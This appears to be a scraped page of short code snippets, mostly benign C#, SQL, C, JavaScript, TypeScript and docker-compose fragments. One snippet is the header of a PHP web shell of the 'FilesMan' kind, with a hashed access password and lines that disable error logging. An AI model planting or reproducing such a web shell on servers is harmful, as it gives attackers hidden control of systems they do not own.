This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
version: "3.7" | |
services: | |
elk: | |
image: sebp/elk | |
ports: | |
- "5601:5601" | |
- "9200:9200" | |
- "5044:5044" | |
restart: always | |
container_name: elkstack |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class TaskQueue | |
{ | |
private SemaphoreSlim semaphore; | |
public TaskQueue() | |
{ | |
semaphore = new SemaphoreSlim(1); | |
} | |
public async Task<T> Enqueue<T>(Func<Task<T>> taskGenerator) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using (var ctx = new TestContext()) | |
{ | |
var dbSetProperties = ctx.GetDbSetProperties(); | |
List<object> dbSets = dbSetProperties.Select(x => x.GetValue(ctx, null)).ToList(); | |
} | |
public static class Extensions | |
{ | |
public static List<PropertyInfo> GetDbSetProperties(this DbContext context) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/*При активизации Suid модуля в целях бехопасности пароль обязателен.*/ | |
$auth_pass = "a0c3b1e2e1786293ca9bfb710e49ad42"; | |
$color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
@ini_set('error_log',NULL); | |
@ini_set('log_errors',0); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public static class JsonResultTestingUtils | |
{ | |
///<summary> | |
/// Helper function that parses a given JsonResult and validates that the content is of the expected type | |
/// </summary> | |
/// <typeparam name="T">The expected type of the content</typeparam> | |
/// <param name="result">The JsonResult to be parsed</param> | |
/// <returns>True if the content is of the expected type, false otherwise</returns> | |
public static bool ValidateJsonResult<T>(JsonResult result) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
declare @TableName sysname = 'TableName' | |
declare @Result varchar(max) = 'public class ' + @TableName + ' | |
{' | |
select @Result = @Result + ' | |
public ' + ColumnType + NullableSign + ' ' + ColumnName + ' { get; set; } | |
' | |
from | |
( | |
select |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
#include <ctype.h> | |
#include <stdlib.h> | |
void encrypt(); | |
void decrypt(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let isMobile = window.matchMedia( | |
'only screen and (max-width: 999px)' | |
).matches; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Serializable, StructLayout(LayoutKind.Sequential)] | |
public struct WIN32_FIND_DATA | |
{ | |
public int dwFileAttributes; | |
public int ftCreationTime_dwLowDateTime; | |
public int ftCreationTime_dwHighDateTime; | |
public int ftLastAccessTime_dwLowDateTime; | |
public int ftLastAccessTime_dwHighDateTime; | |
public int ftLastWriteTime_dwLowDateTime; | |
public int ftLastWriteTime_dwHighDateTime; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private getWeekNumber(date:Date) | |
{ | |
date.setHours(0, 0, 0, 0); | |
// Thursday in current week decides the year. | |
date.setDate(date.getDate() + 3 - (date.getDay() + 6) % 7); | |
// January 4 is always in week 1. | |
var week1 = new Date(date.getFullYear(), 0, 4); | |
// Adjust to Thursday in week 1 and count number of weeks from date to week1. | |
return 1 + Math.round(((date.getTime() - week1.getTime()) / 86400000 | |
- 3 + (week1.getDay() + 6) % 7) / 7); |